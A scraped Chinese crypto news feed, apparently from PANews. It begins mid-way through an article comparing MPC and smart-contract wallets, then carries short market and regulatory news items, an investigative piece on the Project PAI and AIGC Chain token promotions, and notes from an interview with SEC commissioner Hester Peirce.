MPC（多方计算）技术的应用引入了公众关注。通俗地说，MPC 协议旨在确保的最基本属性是： MPC 钱包使用阈值签名方案 (TSS) 来创建一个私钥的份额。它们旨在通过要求多方共同创建私钥片段然后验证交易来提高安全性。最重要的是，在账户创建、使用、保存、备份和恢复过程中，私钥不会出现在任何过程。 04MPC 钱包会是更好的解决方案吗? 在这里，我们将关注以下属性来评估 WEB3.0 钱包： 安全性： 智能钱包使用单个私钥来控制和访问资金。由于智能合约可以定制，因此存在合约漏洞和兼容性等风险。即使在多重签名钱包等多个设备上分散存储也不能保证完全安全。有经验的黑客可以追踪和重建密钥，从而在破坏一台服务器后在网络中横向移动并破坏其他服务器或设备。 MPC 钱包将私钥分成几部分，并分发给多个参与方，使攻击者更难窃取私钥。在某些特定的跨链场景中，如果不需要多链交易和与 dApp 的高频交互，MPC 钱包会更加安全。然而，他们无法避免链下治理，例如签署授权政策和批准法定人数等。不能说两者中哪一个具有绝对的安全性。我们更愿意专注于提高用户体验。 易用性： 是否像 Web2.0 支付产品一样流畅无缝体验。 两款钱包都没有助记词，比传统钱包解决方案更人性化，例如 MetaMask（基于浏览器）。 功能性： 是否满足 Web3 用户的实际需求，如 DeFi 或 NFT 日常交易、投资、数字身份、web3 社交等。 与功能有限的传统 EOA 钱包相比，智能钱包具有多重签名交易、每日转账限额、紧急账户冻结和更安全的账户恢复等高级功能。 某些组织，如交易所、托管人和其他大型数字资产企业可能更喜欢 MPC 钱包，因为这种技术可以防止对任何拥有单一资产密钥的员工产生信任。Lit Protocol 等一些方案可以通过 HTTP 请求与链下数据交互，这可能使 MPC 对 Web 资产有用。 可扩展性： 在生态系统中构建新功能和集成是否更容易。 智能钱包本质上是智能合约，它使开发人员的生态系统能够默认扩展钱包功能，任何人都可以审核实现和功能扩展。 MPC 协议没有标准化，现有生态系统主要由定制化的 MPC 钱包产品组成。 成本： 由于需要验证多个签名，来自多重签名智能钱包的单次操作通常比现在的 MPC 更昂贵，尽管从长远来看，交易批处理可以帮助节省成本。 MPC 钱包可能具有较低的交易和恢复成本。 MPC 钱包在区块链上表示为一个地址，不收取额外的汽油费，这对于每天进行数百笔交易的 B2C 用户来说可能很重要。 透明度： 智能钱包具有更透明和可审计的代码库。由于密钥生成和签名是在链下生成的，而且许多 MPC 协议不是开源的，因此生态系统没有简单的方法来独立审计和集成它们以在出现问题时进行分析。 MPC 钱包阻碍了透明度，需要更严格的操作审计。 MPC 钱包作为一种链下钱包解决方案，既可以控制基于外部账户的普通钱包，也可以控制智能钱包。不涉及以太坊共识层或合约层的变化。对用户来说成本更低，短期内更可行。但链下多方问责制无法回避，钱包产品无论是安全性还是用户体验方面的竞争力提升都不明显。 智能钱包是一个有很多创新机会的产品，可以带来更多新的应用和用例。但是，账户抽象是一个大工程，需要其他智能合约、开发者、以太坊架构师配合升级。值得注意的是， L2s 大大加快了采用速度，降低了成本，提高了可扩展性，例如 Starkware 已经将所有 Starknet 账户原生智能钱包， zkSync 2.0 也将与 AA 一起推出。 综上所述，我们认为两者并不矛盾，两者的取舍还要看具体的需求。 MPC 在密钥生成和管理层面提供安全性，而智能合约为生态系统发展带来可扩展性和更多应用。他们本质上不在同一个维度来解决私钥的管理问题。我们期待看到更多应用这两种技术的创新产品。例如，MPC 协议可能可以与多重签名钱包结合使用。 正是因为钱包开发者可以基于智能合约不断更新新功能的优势，以及对于程序化支付和游戏高频交易等应用场景的需求，使得越来越多的开发者和团队投身于智能钱包的开发和创新。我们对钱包抽象账户的新叙述持积极态度。如 Visa 发表的文章《 Auto Payments for Self-Custodial Wallets 》，探讨了使用账户抽象钱包 Argent 在 StarNet 网络上实现自动支付。程序化支付允许用户使用自托管钱包自动支付而无需签署每笔交易。此外，目前市场上已经涌现出多个智能钱包产品，如 Argent、MetaMask、Gnosis Safe、Rainbow 等，它们在用户体验、安全性、功能等方面都有不同程度的突破和创新。同时，也有一些钱包团队在开发针对特定场景的定制化钱包，如在 NFT 领域应用广泛的 MetaHero 钱包。 需要注意的是，智能钱包的开发不仅仅是技术上的挑战，还需要充分考虑用户需求和体验。在用户隐私保护和授权管理方面，智能钱包需要具备更高的安全性和便捷性。在此基础上，智能钱包的功能和设计也需要更贴近用户需求，提供更加个性化和细分化的服务。此外，智能钱包还需要与其他应用和生态系统进行深度集成，提供更加完整和一体化的服务。 总之，MPC 钱包和智能钱包各自有其优势和劣势，在不同场景和需求下选择合适的钱包方案是关键。对于个人用户而言，智能钱包可能更适合用于日常交易和管理数字资产，因为它们具有更广泛的应用和更好的用户体验。对于机构或企业用户，MPC 钱包可能更适合，因为它们更安全、更容易实现多方问责制，并且具有更低的成本和更好的可扩展性。此外，随着技术的发展，我们还可能看到更多融合智能合约和 MPC 技术的钱包产品，以提供更全面的解决方案。 总结 “技术只是功能实现的充分条件，而功能将导致市场格局的必然变化。” 谈 MPC 协议、账户抽象等技术并不难，但从技术机制到市场还有一系列的产品迭代。除了大家关心的安全问题，用户体验的提升也是我们评价钱包产品的一个非常重要的维度。毕竟，作为进入 Web3.0 的工具，钱包产品不应该只服务于现在的用户（已经习惯了私钥和助记词），主要目的应该是 “打破生态”，提供更流畅的体验用户体验，让更多的 Web2.0 人使用。 目前，EIP-4337 是最可行的账户抽象方案。已经有很多智能钱包项目在探索这条道路。我们建议可以多关注账户抽象和智能钱包项目的建设，尤其是 Layer 2 方向。 我们认为 MPC 协议是一种更加安全可靠的技术，但是如何在实际的 MPC 钱包场景中更好的实现是关键。我们可能需要更多耐心，才能看到针对个人和机构的更多样化、更有针对性的解决方案。  ( 5 min )
    人民数据·人民链Baas服务平台上线
    PANews 3月26日消息，据人民网报道，3月24日下午，由人民数据研发的人民链Baas服务平台（2.0版本）上线仪式在人民日报社新媒体大厦正式举行。该平台完全由人民数据管理（北京）有限公司自主研发，是一款国密自主可控的一站式、可视化、高安全的综合区块链管理平台，其目标是服务社会治理、提高数据安全，充分发挥数据要素、产品研发的优势，帮助客户挖掘区块链在赋能数字化转型方面的潜力，解决行业场景痛点与需求，拥有数字存证、知识产权保护、数字产品、数字确权等众多应用场景。  ( 4 min )
    消息人士：美司法部正审查瑞信、瑞银等银行是否违反针对俄罗斯的制裁法规
    PANews 3月26日消息，据Bitcoin.com报道，消息人士表示，瑞信和瑞银正受到美国司法部的审查。据悉，美国司法部一直在试图确定，为这些银行工作的金融专业人士是否为受制裁的俄罗斯高净值人士提供了支持，以规避西方政府实施的限制。两名消息人士称，美国当局已向上述两家瑞士银行和一些美国主要银行的员工发出了多份传票。他们想查明过去几年里，与此类客户合作的银行家和顾问的身份，以及是否违反了法律。 此前消息，瑞银以33亿美元收购瑞信，瑞士央行将提供1000亿瑞士法郎的流动性援助。  ( 4 min )
    数据：孙宇晨钱包地址收到5250枚ARB空投并转至Huobi
    PANews 3月26日消息，据Lookonchain数据监测，孙宇晨钱包地址收到了5250枚ARB空投（价值约6981美元），并转移到Huobi。  ( 4 min )
    数据：HODLed或丢失的BTC数量达5年来最高点
    PANews 3月26日消息，据Glassnode数据显示，一直持有（HODLed）或丢失的BTC数量约达767万枚，为5年来最高点。  ( 4 min )
    日本将在七国集团峰会上讨论加密货币监管问题
    PANews 3月26日消息，据新浪财经报道，日本计划与七国集团（G7）国家就监管加密货币的问题进行协调，并将其作为5月广岛峰会期间的一个讨论话题。旨在制定一项法律，保护用户免受加密货币交易所倒闭等市场混乱造成的任何经济损失。  ( 4 min )
    桥水达利欧：世界正处于“危险的边缘”，或面临三个“地震式”剧变
    PANews 3月26日消息，据新浪财经报道，美国桥水投资公司创始人瑞·达利欧表示，世界正处于“危险的边缘”，可能会面临三个“地震式”的剧变。一是巨额债务的货币化，即各国央行通过印钞，发行货币来购买这些债务；二是财富和价值观的鸿沟引发的巨大内部冲突；三是国际大国的冲突。达利欧认为，现在这三种因素都在以1930年-1945年以来最大的程度出现。  ( 4 min )
    数据：zkSync Era∎单一地址数超6.4万，1.2万枚ETH跨链进入zkSync Era∎
    PANews 3月26日消息，据Dune Analytics最新数据显示，zkSync Era∎单一地址数已达64410个，已有12228枚ETH跨链进入zkSync Era∎网络。 此前消息，zkSync Era∎主网正式上线，将向所有开发者开放。  ( 4 min )
    区块链项目归零，AIGC Chain能否助力“大割”翻身变大哥？
    作者：longcrypto 当下最火的科技创业赛道是什么？AIGC 和 Web3。 2017 年最火的赛道是什么？区块链、人工智能和 VR。 如果你是一名“合格”的“风口型”创业者，那么这两波创业热潮应该都不会错过。 Adam Zheng（郑毅）就是这样一位走在时代前沿的“弄潮儿”。 2014 年 3 月，Facebook（后更名为 Meta）以 20 亿美元收购 VR 领头羊公司 Oculus，随后在全球掀起 VR 创投热潮。 这一年 2 月，oben 在美国加州帕萨迪纳成立。ObEN 公司的 CEO 是 Nikhil Jain，COO 是郑毅。 公开信息显示，Nikhil Jain 在 ObEN 之前，他曾创立两家初创公司：清洁技术 B2 B 平台 On Green，以及开源软件开发公司 Up and Running Software。Nikhil 拥有南加州大学的 MBA 学位，以及印度 Pondicherry University 的电气工程学士学位。 郑毅在 ObEN 之前，联合创立了曾经中国最大的婚恋平台百合网。其后担任美国光速创投投资合伙人、同方投资有限公司投资总监、美国 TPG - 新桥资本的投资经理。投资过的项目包括百视通、星空传媒/灿星制作、新丝路模特机构等。郑毅大学就读于清华大学环境工程系，并获得环境工程硕士学位。之后，在美国拿到了加州大学戴维斯分校的交通与环境工程博士学位、以及加州大学伯克利分校的金融工程硕士学位。 第一排左三 Nikhil Jain，左四 Adam Zheng 成立后的两年间，这家打造 VR 虚拟形象的科技初创公司在国内并没有受到太多关注。 2016 年 11 月，科技媒体 36 氪报道了 Oben 宣布获得了一笔 770 万美元的 A 轮融资，领投方是中国盾安集团旗下投资分部 CrestValue Capital，参投方包括知名风投 Cybernaut Investment 旗下美国投资基金 Cybernaut Westlake Partners 和深圳清华力合创业投资有限公司。此外，参与本轮投资的还包括视频制作服务平台 Machinima 公司创始人 Allen DeBevoise 旗下的风投基金 Third Wave Digital、SM 娱乐集团子公司 Dream Maker Entertainment、天津滨海卡梅隆文化科技有限公司首席执行官 Gordon Cheng、以及美国科技创业孵化器 Idealab。 自此，Oben 在国内的曝光量持续提升，青亭网、钛媒体、智东西等科技媒体紧随报道。 2017 年 3 月，Oben 成为软银在美国投资的第一个 AI 项目。 2017 年 7 月，Oben 获得 500 万美元战略投资，由腾讯领投，CMC 董事长黎瑞刚及峰尚资本跟投。 2018 年 1 月，Oben 宣布完成来自 K11 的 1000 万美元 B 轮可转债融资。 ObEN 的投资机构 作为横跨 VR 和人工智能创业赛道的资本宠儿，按照正常的逻辑，创业公司接下来的路线基本上市“烧钱 - 抢占市场份额 - 做大估值 - 吸引下一轮投资者”，最后完成 IPO。 然而 Oben 想走捷径——ICO。 2017 年的区块链是疯狂的，包装后的项目方凭借一份白皮书就能轻松募资数亿美元，这是传统 VC 不能给到的。其中李笑来觉得白皮书没人看，用一个没有白皮书的项目在 5 天内众筹了 1.85 亿美元。 2017 年 10 月，ProjectPAI 白皮书发布。 从时间上看，ObEN 并没赶上趟儿，白皮书写好的前一个月，中国政府就发布了“94”禁令。但这并不妨碍其在随后的时间里募资 10 亿人民币，远远超过其历年股权融资的总和。 根据 ProjectPAI 发布的白皮书，Project PAI 是一个为 PAI 开发的基于比特币分叉的新的公有区块链协议，可以用区块链对人工智能进行认证、管理、数据学习和应用开发。PAI 是世界上第一个个人人工智能技术和产品。PAI 是一个和你长得像、说话像、而且越来越懂你的智能形象（Avatar）。 为了隔离风险，ProjectPAI 在白皮书中将 ObEN 列为创新伙伴，区块链的技术开发由 Alex Waters 领导。Alex 从 2010 年起参与 Bitcoin 原始代码的编写，是比特币区块链原始算法的核心团队成员。 PAI 是 ProjectPAI 发行的系统代币，总量 21 亿。根据代币分配方案，投资人占比 35%。这部分就是此前所谓的“私募”份额。这部分份额分为锁仓和不锁仓部分，其中锁仓部分 1 BTC=35,000 PAI（按照当时 BTC 价格，1 PAI=1.5 元），不锁仓部分 1 BTC=22,800（按照当时 BTC 价格，1 PAI=2.3 元）。据 PAI 参与人反馈，ProjectPAI 通过私募募集资金大约 1.5 亿美元，折合 10 亿人民币。 2018 年 6 月 29 日，PAI 登陆火币全球站，上线四天暴涨 500%，并于 2018 年 7 月 9 号达到最高价格 1.43 美元。之后 PAI 就开始了下跌行情，2018 年 11 月 19 日，PAI 跌破 0.1 美元。 2022 年 10 月 22 日，Huobi Global 宣布 PAI 等一批通证触发《火币通证管理规则》将其下架。 2022 年 11 月，ProjectPAI 区块链停止出块，区块链信息网站关停，PAI 走向归零。 2018 年 7 月，ProjectPAI 遭遇密集质疑。 7 月 3 日，链茶馆发布的一篇文章质疑 ObEN 与 PAI 关系暧昧，大 V 故意将 Oben 的投资人与 Project PAI 的投资人混为一谈，PAI 存在的意义以及 PAI 官网在全球范围内只设定了中文的联系人不合常理等多个疑点。 最具争议的是项目技术团队成员信息不实，根据白皮书显示 Alex Waters 为 PAI 项目技术负责人。而在领英资料显示，此人仅为项目技术顾问，并非 Project PAI 项目团队成员。 对此，Project PAI 在 2018 年 7 月 7 日发布的《Project PAI 关于对某评级机构散播不实谣言的声明》称，“美国国税局认定数字货币是资产。如果美国利益人士或者机构收到数字货币，则必须向美国国税局交纳最多 50% 的税费。美国政府对公开媒体也是全网监测。因此，2017 年 7 月以后的美国发币方，一般都不在包括 linkedin（领英）在内的公开媒体更新履历。比如，ObEN 创始人 Adam Zheng 和 Nikhil Jain 以及技术负责人 Alex Waters 等都不会在 linkedin（领英）等媒体上讲述自己全职在 Project PAI。并且，所有的工作人员都是以合作伙伴和顾问的身份参与 Project PAI，这样才能确保 Project PAI 是和美联储圣路易斯主席 James Bullard 所希望的去中心化的组织以达到严格合规的标准。” Project PAI 的项目代码也被指出是抄袭比特币，将其中“bit”被替换为“pai”。因此 Project PAI 被质疑核心技术成员没有为 pai 开发过，只是花钱拿来站台的。 2018 年 7 月 17 日，Project PAI 钱包官网疑似被黑，对 Project PAI 项目内幕进行了揭露，并表示将准备真实材料向有关机关报送。公开信内容指出 Project PAI 存在非法集资、偷税漏税、操纵市场、代币预挖、代码抄袭和团队造假等问题。 2018 年 7 月 18 日，Project PAI 针对此次事件发表辟谣声明，将此次事件定义为黑客劫持。 此后随着市场进入熊市，大部分在 2017-2018 年发起的加密项目团队进入“摆烂”状态，周报内容千篇一律。个别不负责的项目则将项目“交给社区”或直接跑路。 Project PAI 的 AI 业务停滞不前，项目方曾经承诺的内容开始无法兑现。 复盘 Project PAI 的运作手法，可以发现其存在明显的包装套路。 作为一个人工智能公链，Project PAI 本身的知名度并不高，主要借助 ObEN 的名声吸引投资者注意力。在 Project PAI 发币前，ObEN 借助人工智能概念在国内吸引了可观的曝光量，积累了一批忠实受众。 据区块链自媒体壹块硬币报道，在 Project PAI 的 32 页白皮书中，至少有 7 页是在谈 ObEN，特别是其中开发团队的部分，完全就是 ObEN 的团队信息。在一些评级报告中，则更是把 ObEN 的团队直接作为 PAI 的团队。 市场猜测最大可能是 PAI 实际就是 ObEN 团队做的，不过限于政策及法律上的考虑，因为发币而做了隔离，明面上不予以承认。 比如以下这种撇清关系的话术： 善于借力 Project PAI 在白皮书中故意宣传有腾讯、软银等机构参与，借助这些明星机构的力量，很容易吸引不明真相的群众参与。 ObEN 创始人 Nikhil 曾在美国最大的医疗保健集团 Kaiser Permanente 负责实施电子病历系统，郑毅联合创立了中国最大的婚恋平台百合网。尤其是郑毅，清华大学毕业，赴美深造后获得加州大学戴维斯分校的交通与环境工程博士学位、以及加州大学伯克利分校的金融工程硕士学位。 Project PAI 请来了原始中本聪比特币客户端 Satoshi Bitcoin Client ( 现在的 Bitcoin Core) 的核心开发人员之一Alex Waters 为其站台。不过，Alex Waters 目前在领英的简历并没有关于在 Project PAI 工作的经历。结合此前媒体的报道，大概率是他自己将这段简历删掉了。 Project PAI 在白皮书中列出的其他技术团队清一色的是博士出身，毕业于南加州大学、剑桥大学、芝加哥大学等美国高校。 Project PAI 的早期投资人以及 KOL 在社群推广，通过自身影响力让散户大量持币，背地里则完成套现。 2018 年 7 月前后，一个名为“币星星”的交易所开启众筹。币星星基于 PAI 链开发，只接受 PAI 币募集，天使轮私募 5000 万-1 亿 PAI 币。 据参与人提供的一份资料显示，币星星由太平洋区块链研究中心孵化。该组织由印尼国立大学、印尼希望之光大学、印尼力宝集团、ObEN 发起成立。 很多 PAI 持有者看到币星星背后显赫的背景参与投资，随后被严重套牢。据 PAI 部分持有人反映，当时投的时候是 PAI 的价格大约 4 块钱，等退出时 PAI 只值几分钱了。 实际上，这只是个由 PAI 志愿者发起的项目，最终也没有做起来。 在 Project PAI 项目路演上，郑毅多次出现在台前。不过对于 Project PAI 项目只谈技术、商业模式等方面话题，对于涉及币方面的话题则刻意回避并推给了其在中国的代理人孙某。 Project PAI 发币后，郑毅逐渐隐身幕后，以人工智能当红公司创始人的形象频繁在各大主流平台亮相。 2018 年 5 月，清华大学金融科技研究院区块链研究中心正式成立，ObEN 与腾讯、高榕资本、水滴公司、凡普金科等共同发起成立。 左二，郑毅 2018 年 7 月 19 日-20 日，在东京举行为期两天的“2018年软银世界大会”，ObEN 联合创始人郑毅接受了CCTV2-财经频道的采访。 2018年9月，在“2018世界人工智能大会”上，ObEN 首次披露 SNH48 真人AI。 从左至右，郑毅，曾艾佳 2018年11月，《还珠格格》的皇后扮演者戴春荣老师现身湖南卫视，ObEN 为”皇后娘娘”制作了属于她自己的PAI（个人人工智能）。 从左至右，郑毅，戴春荣 2019年央视网络春晚，撒贝宁孪生虚拟主持人由 ObEN 操刀。 左三：虚拟撒贝宁 2019年9月，在2019东北亚经济论坛上，偶邦智能科技有限公司总经理郑毅出席并发表演讲。 2019年11月，在第二届中国国际进口博览会上，偶邦科技创始人兼CEO郑毅接受了新华网专访。 2019年下半年之后，或许是疫情原因，郑毅很少在出现公开场合露面。 尽管期间 Facebook all in 元宇宙，作为元宇宙细分赛道项目，ObEN 也并没有过多发声。 2023年3月23日，清华五道口邀请郑毅作“生成式AI和元宇宙：迎接人机共生时代”在线讲座。 官网无法访问 ObEN 提供的官网（oben.me）无法访问，在推特的账号也已注销。 ObEN 在国内的实体公司有多家，包括成都偶邦智能科技有限公司、北京智湃科技有限公司以及上海多而像科技有限公司等。 据天眼查显示，成都偶邦智能科技有限公司的开庭公告信息多达12条，案由是“侵害作品信息网络传播权纠纷”。 北京智湃科技有限公司的开庭公告信息多达59条，案由是“侵害作品信息网络传播权纠纷”。 上海多而像科技有限公司由 ProjectPAI 计算机视觉负责人王睿哲任法定代表人，第十三届世界地球小姐中国区总冠军、ObEN 合伙人兼副总裁相杨担任监事。 成都偶邦智能科技有限公司、北京智湃科技有限公司两家的官网均为obencn.com，已经无法访问。 北京智湃科技有限公司的微信公号“偶邦智能”在2021年6月11日之后就没再更新。 上海多而像科技有限公司的微信公号“ObEN元宇宙”于2022年1月注册，至今更新了3篇文章。 AIGC+Web3 2023年，AIGC 是科技圈最火热的赛道。不过这个赛道存在一个尴尬问题：概念虽好，但投资机构热情不高。 怎么用火热的概念快速搞到钱？和 Web3 结合。 于是，AIGC Chain 诞生了，郑毅是 AI 和 Web3 融合的贡献者。 写文章讲究“题好一半文”，做项目取名字也一样。 AIGC Chain 的名字很有辨识度，直接将 AIGC 和 Chain 组合在一起，读者一看就知道这个项目是要做 AI 和Web3 的。 Project PAI 的包装套路在 AIGC Chain 再次上演。 项目方需要灵魂人物或者站台人物，才能吸引更多注意力。Project PAI 当年让比特币客户端可信开发者 Alex Waters 为其站台。AIGC Chain 这次请的是 stable diffusion 联合创始人Cyrus Hodes 站台。 Project PAI 是一条基于比特币开发的侧链，请 Alex Waters 助阵简直是如虎添翼啊。 AIGC Chain 搞的是一条 Layer2 网络，定位是一个分布式 AIGC 模型基础设施。Stability AI 是 AIGC 热潮的明星创业公司，请 stable diffusion 联合创始人Cyrus Hodes 站台也很合适。 当然，作为 AI 的灵魂人物，郑毅必不可少。 还记得 Project PAI 与 Oben 的关系吗？Project PAI 将 Oben 视作创新伙伴。AIGC Chain 这次同样将 Oben 视作合作伙伴，Oben 为 AIGC Chain 贡献基础模型。 Project PAI 的包装是国外项目，实际买单的主要是国人。同样地，AIGC Chain 的包装也是国外项目，目前社群中参与程度较高的依然是国人。 投资机构再白嫖一遍 还记得 Oben 的投资机构吗？再放一遍。当年这些投资机构大部分被写进 Project PAI 的白皮书。让人产生一种误导：这些投资机构投资了 Project PAI。 看看AIGC Chain 在官网上展示的投资者&伙伴名单，是不是很熟悉？不过，AIGC Chain 很会玩文字游戏，这些机构的描述是“投资者&伙伴”，实际上只是 Oben 的投资机构。具体这些机构直接投资于 AIGC Chain 了吗？不知道。但会给读者产生误导：这些投资机构投资了 AIGC Chain。 KOL推广，口号要嘹亮 当年 Project PAI 不少 KOL 喊单，打的旗号是“腾讯、软银投资”。 这次 AIGC Chain 喊单也不能落下风，打的旗号是估值 40 亿美金的 Stability AI。 来都来了，圈多少钱？ 根据 AIGC Chain 的代币经济学，AIGC 未来会发币，具体多少还没定好。 小孩子才做选择，成年人全都要！ AIGC Chain 既要发同质化代币，也要发非同质化代币。 Metanaut 是 AIGC 发的 NFT 项目。措辞很有意思：Metanaut 是 AIGC 核心社区发起的第一个 NFT 项目。 仔细阅读上面的句子，套路满满。Metanaut 是“ AIGC 核心社区”发布，再次发挥甩锅技能。“第一个”，说明未来还有更多NFT项目，好日子还在后头呢。 Metanaut 总量 6 万个，包括 1 万个稀有和 5 万个普通属性。 按照每个 NFT mint 价格 0.02 ETH，6 万个全部 mint 完成，项目方妥妥进账 1200 ETH。按照每个 ETH 价格 1800 刀算，大约 216 万美元。 这还只是开胃财，未来发币，项目方进账估计会更多。 3月22日，第一轮mint已经全部完成，投资人展现了极大的热情。第二轮 mint 已经在今天刚刚开启，国人用户参与热情还算可以，只不过在遇到问题时会抱怨找不到项目方。 这个项目未来走向何处，能否帮助“大割”翻身变大哥，我们拭目以待。  ( 10 min )
    数据：Amber近两日从交易所提出859万枚ARB，成本或约为1.23美元
    PANews 3月26日消息，据推特用户余烬监测，Amber Group在3月25日下午5点和今天上午10点，从OKX、Kucoin、Bybit三个交易所一共提出859万枚ARB（价值约1057万美元）。若按提出时间计算，Amber Group的ARB成本约为1.23美元。  ( 4 min )
    NFT项目y00ts将于明日起迁移至Polygon，24小时内迁移将获奖励
    PANews 3月26日消息，NFT项目y00ts表示将于3月27日起迁移至Polygon，用户可直接从官方网站迁移。为鼓励用户尽快迁移，在24小时内完成迁移将获得奖励。Gas费由Magic Eden提供，质押也将免费。 此外团队表示，为专注于EVM，y00ts团队将不再在Solana上进一步开发y00ts/DeGods。DeGods将于3月31日迁移至以太坊，详细信息将在之后公布。  ( 4 min )
    消息人士：马斯克对推特最新估值为200亿美元，不及收购价一半
    PANews 3月26日消息，据The Information援引消息人士报道，马斯克在发给推特员工的邮件中称，以约200亿美元的估值向推特员工提供股票奖励，该估值不及其收购推特时支付的440亿美元的一半，显示了推特的市场价值正在下降。目前推特暂未对这一消息置评。  ( 4 min )
    美国政府考虑扩大银行的紧急信贷额度
    PANews 3月26日消息，据彭博社报道，据知情人士透露，美国当局正在考虑扩大银行的紧急信贷额度，让First Republic Bank有更多时间来增强其资产负债表。官员尚未决定他们可以向First Republic提供何种支持。但监管机构认为该银行足够稳定，无需立即干预。据此前消息，华尔街高管和美国官员正在讨论First Republic Bank获得政府支持的可能性，以推动达成与潜在买家的交易。据悉，政府可能会在剥离First Republic不良资产方面发挥作用。双方讨论的其他措施包括提供责任担保、更灵活地使用资本规则以及放宽股权限制。  ( 4 min )
    Otherside：超过7200名Voyager参与了“Otherside:2nd Trip”活动
    PANews 3月26日消息，据官方消息，超过7200名Voyager参与了“Otherside:2nd Trip”活动。Yuga Labs于3月25日上线“Otherside:2nd Trip”活动，Voyagers在Trip（旅行）开始前15分钟进入体验，Otherdeeds NFT持有者有机会参加2nd Trip，前提是他们在主要故事开始之前准时到达体验，2nd Trip可以通过邀请参与。一旦2nd Trip达到容量，玩家将无法再加入体验。Voyagers将优先于访客通行证进入体验，参加2nd Trip的旅行者将有资格获得FIRST TRIP Obelisk碎片。  ( 4 min )
    Euler Finance黑客返还51000万枚ETH
    PANews 3月26日消息，链上数据显示，Euler Finance攻击者已将51000枚ETH转移至Euler合约部署地址，价值近9000万美元。Euler的原生EUL代币在过去24小时内上涨了27.3%，其中大部分上涨是在黑客将代币返还协议之后发生的，这可能引发了交易员的积极情绪。上周，Euler要求黑客归还被盗资金，并愿意提供100万美元的赏金。开发人员当时要求返还90%的被盗资金。本月早些时候，该协议遭到闪电贷攻击，损失了近2亿美元。  ( 4 min )
    对话SEC委员Peirce：加密监管之路在何方？
    撰写：Revelo Intel 编译：深潮 TechFlow 本集节目中，Ryan Adams 和 David Hoffman 邀请了 SEC 委员 Hester Peirce 一起讨论她对于 SEC、自律、分权等方面的看法。 以下是我们的笔记，帮助大家更好地理解。 美国的金融系统高度相连。 银行系统发生的任何事情都可能影响到已经受到监管的市场。同时也有相关联的实体需要被监管。 银行有时是上市公司，这意味着它们的披露受到监管。 目前局势正在密切监控，以防止任何负面影响直接影响到受监管实体。 证券法和 SEC 在处理信息不对称、平衡投资者利益和监管市场基础设施方面非常重要。 SEC 负责向投资者提供充足的信息并监管经纪人、投资顾问和证券交易所。 加密货币行业应该与 SEC 保持良好关系，可以通过提供指导而非严格执法、扩大其管辖范围，并认识到加密货币空间的独特性来实现。 自我监管和去中心化对于加密行业的成功至关重要。 Hester Peirce 在 SEC 的角色包括消除信息不对称和促进透明度。 上市公司需要进行申报，提供有关其财务状况、风险、业务性质和高管薪酬等信息。这个要求消除了内部人员和投资者之间的差距，但并不能消除所有信息差异。 拥有不同信息的人可以根据该信息做出决定，并且没有义务将其提供给没有该信息的其他人，除非与公司有关联。 信息不对称存在于中心化系统中，使得 SEC 监管有必要解决资本市场和形成中的委托代理问题。 在去中心化系统中，信息广泛可用，信息不对称问题较少，使得传统的 SEC 监管不太适用。 加密货币领域中的中心化实体可能会受益于联邦监管，SEC 可能成为交易平台和代币发行者的潜在监管机构。 为了实现去中心化加密活动的潜力，需要一种不同的监管方法，认识到去中心化的好处，而不是简单地在其之上叠加传统监管。 未来的加密货币状态将与健康的 SEC 监管和分权活动相结合，可能需要更加细致和专业的监管方法。 证券的定义很广泛，包括投资合同类别。 SEC 认为，出售承诺建立网络和增加代币价值的代币可能属于投资合同类别。 问题在于确定代币本身是否需要注册为证券，并在整个过程中被视为一种证券。 需要对证券法在加密货币领域的应用进行调整和更严格的思考。 即使作为证券发行的一部分出售，代币也应被视为一个独立的实体。 加密货币法律结构的缺乏明确性可能会导致活动的抑制，因此需要进行调整。 现有的证券框架阻止了加密资产和网络实现其最大化表现状态，因为它们的创始是中心化的。 SEC 采取的立场是将大部分代币归类为证券，以最大限度地扩展其管辖范围。 国会需要参与讨论，并开发针对代币发行的披露框架或建立监管机构，以便进行更好的法律分析。 华盛顿需要考虑，是否应用规定使世界变得更美好，还是只是让事情变得复杂，不为任何人的利益服务。 监管机构难以退后一步，认识到通过保护人们，他们也在阻止人们访问他们想要的产品和服务，并未提供他们所需的信息。 对于那些没有为现有过程而设计的实体和资产类别来说，SEC 注册是困难的。 目前还不清楚 SEC 是否想要监管可能创建的许多数字资产。 如果 SEC 要监管所有数字资产，那么它将监管许多目前未受其监管的事物。 SEC 的任务是监管关于资本筹集的活动，因此应该专注于监管这方面。 SEC 采取了激进的管辖立场，并试图监管许多国会尚未规定其监管的实体。 SEC 的目标似乎是尽可能地监管，但受访者建议，如果是这样，可能需要更多的委员来处理。 加密货币社区得出结论，SEC 对他们的资本市场或资产并不感兴趣。 SEC 更感兴趣的是扩大其管辖范围，而不是其原始的第一原则任务。 它是一种功能障碍性关系，SEC 会采取大量执法行动，但执行行动也有其存在的价值。 这个行业需要与 SEC 进行更有成效的对话，人们应该结成具有相似观点的群体，展示他们的使用案例。 人们需要用具体的使用案例来证明可以改变人们的生活。 如果那些在加密货币内合法尝试构建东西的人不与监管机构交谈，那么更糟糕的事情就会填补真空。 监管机构为人民服务，而不是相反，对人民负有责任。 主席拥有更多的控制权，但所有五位委员在规则和执法行动的决策中都参与其中。 决定是通过多数投票做出的。 Peirce 和另一名委员对比特币交易所交易产品发表了不同意见，认为 SEC 对其应用的标准与其他交易所交易产品不同。 Peirce 认为反对意见很重要，因为它有助于 SEC 思考问题和潜在解决方案。 公开进行这种对话很重要。 Peirce 相信她的同事们有着开放的思想，并且能够改变他们的看法。 仅仅反对本身可能不会起到太大的作用，但它确实有帮助。 建议加密货币行业与监管机构互动，以恢复彼此之间的信任。 Kraken 质押服务在美国被执法行动关闭，导致 Peirce 进行反对。 应该为加密货币质押设计监管框架，而不是将其插入现有的框架中。 她对 Kraken 质押服务被关闭这一事实感到沮丧，并认为这并没有为投资者产生胜利。 与 SEC 的和解不能被用作关于加密货币质押的最终声明。 SEC 委员 Peirce 认为，执法行动中的一个共同主题是缺乏指导。 她提出，更有效的方法是通过公开讨论建立明确的规则，然后加以执行。 这比针对可能是证券的一切进行执法行动更加高效和有成效。 SEC 可以使用豁免令或解释性指导文件等工具来建立规则。 召集人们共同讨论指导方针将是功能性和有效的。 SEC 可以通过尝试新方法在加密空间建立新的做事方式。 Peirce 建议以常识的方式处理不完全相同且具有不同特征的稳定币。 国会对稳定币表现出兴趣，并在上届国会积极商讨了与其相关的立法，因此，Peirce 认为最好等待国会就该问题提供监管指导。 Peirce 更希望国会编写稳定币的监管框架。 行业可以通过从传统金融中吸取教训、对不良行为者保持谨慎、要求透明度以及识别不良行为者等措施来保护自身。 行业应该提供具体的解决方案，以达到监管目标，同时仍允许行业向前发展。 重要的是不要失去首要原则并捍卫它们，即使在短期内也是如此。 